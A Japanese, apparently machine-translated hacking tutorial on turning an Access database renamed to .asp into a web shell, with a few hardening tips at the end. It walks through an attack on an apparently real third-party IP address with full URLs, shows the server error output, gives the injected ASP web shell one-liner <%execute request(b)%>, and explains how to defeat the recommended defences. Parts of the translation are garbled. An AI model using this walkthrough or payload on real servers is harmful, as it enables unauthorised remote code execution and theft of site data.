ネットワークセキュリティ技術の発展により、管理者の質が向上しているのか、access+asp方式を利用する場合、データベースのダウンロードを防ぐために、mdbをaspやasaに変更しています。サフィックスを直接変更することについては話さないでください。実際には、Internet Express などのツールを使用して直接ダウンロードできます。侵入者は、asp/asa サフィックスが付いたデータベースを使用して、Web シェルを直接取得する可能性があります。
1つ。アイデア
<%%> が asp ファイルの識別子であることは誰もが知っています。つまり、asp ファイルは <%%> の間のコードのみを実行します。access+asp Web システムのすべてのデータはデータベース ファイル (mdb ファイル) に保存されます。 )、管理者が mdb ファイルを asp ファイルに変更したため、送信するデータに <%%> が含まれている場合、asp データベースにアクセスすると、<%%> の間のコードが実行されます。これにより、悪意のあるコードのみがデータベースに送信されるため、asp サフィックスが付いたデータベースが Web シェルになります。
二。例
まずはターゲットを見つけて、データベースに asp サフィックスがあるかどうかを確認してください: http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
戻る:
次のようにコードをコピーします。
Microsoft VBScript コンパイラ エラー エラー '800a03f6'
「終わり」が抜けています
/iisHelp/common/500-100.asp、242 行目
Microsoft JET データベース エンジン エラー '80004005'
「D:/log_mdb/%29dlog_mdb%29.asp」は有効なパスではありません。 パス名の綴りが正しいかどうか、またファイルが保存されているサーバーに接続しているかどうかを確認してください。
/test/conn.asp、18行目
http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp を送信すると、大量の文字化けが返されるため、Internet Express などのツールを使用してデータベースを直接ダウンロードできます (これについては説明しません)ここ)。ホームページに戻ると、ネットユーザーのコメント機能があることがわかります。ユーザー登録してコメントを投稿しましょう:
<%リクエストの実行(b)%>
このようにして、ASP コード <%execute request(b)%> をデータベースに書き込みます。データベースは Web シェルです。送信: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp 文字化けしたコードの最後には、次のように表示されます。
次のようにコードをコピーします。
/iisHelp/common/500-100.asp、242 行目
Microsoft VBScript ランタイム エラー エラー '800a000d'
タイプの不一致: '実行'
/test/dlog/log_mdb/%29dlog_mdb%29.asp、1266 行目
注: コードをデータベースに送信するとき、コードの内容が大きすぎることはできません。したがって、<%execute request(b)%> を使用します。
三つ。その他の質問やアイデア
1. Webシェルコードを挿入した後、サフィックスをaspに変更し、ダウンロードを完全に防止するために<%='a'-1%>などの違法なaspコードをデータベースに追加したデータベースの場合、違法なaspコードが含まれているため実行されます。シェルのコードは実行せずに、以前の不正なコードのエラーを表示するだけです。これにより特定の攻撃を防ぐことはできますが、依然として特定の隠れた危険性が存在します。エラー コードの前にエラー互換コードを追加する限り、挿入した Web シェル コードを正しく表示して実行できます。
2.サフィックスを変更していないファイル、つまり mdb ファイルの場合は、バックグラウンド パスワードを取得するために直接ダウンロードできます。バックグラウンドに入った後、データベースのバックアップを使用してサフィックスを asp に変更できます。
mdb のダウンロード防止方法の概要
1:iis6では拡張子が定義されていない場合、アクセス時にファイルが見つかりませんの404エラーが表示されます。
したがって、データベースには、xxxxx.xxxxxxxxxxx のような、安全な効果が得られるとは思えないファイル名を任意に付けることができます。
2 データベースが Web サイトの外部に配置されている場合、アクセスすることはできません。例: e:/web/ はあなたの Web サイトです
次に、データベースを e:/ に置きます。
3. 前述のように、.mdb を .asp に変更し、同時に <% バイナリ文字を含む特別なテーブルに注ぎます。このようにすると、ファイルにアクセスすると、スクリプト終了文字が欠落しているというプロンプトが表示されます。
4. または、.mdb を .asp に変更し、同時に winhex で開くと、176 以降に 00 文字列の長い部分があることがわかります。これを任意の ASP コードに変更することによって、ダウンロードを防ぐこともできます。データベース機能には影響しません。例えば:
<%
response.write(不正アクセス)
応答.end()
%>
データベース名に # とスペースを追加すると、たとえば # = <%35 およびスペース = <%20 がクラックされます。
したがって、現在これらを使用することは役に立ちません。 。
独自のサーバーの場合は、IIS でセットアップします。
新しい空の DLL ファイルを作成し、IIS にマッピングを追加します。実行可能ファイルとして作成した DLL を選択し、拡張子として .mdb を入力し、保存して IIS サービスを再起動します。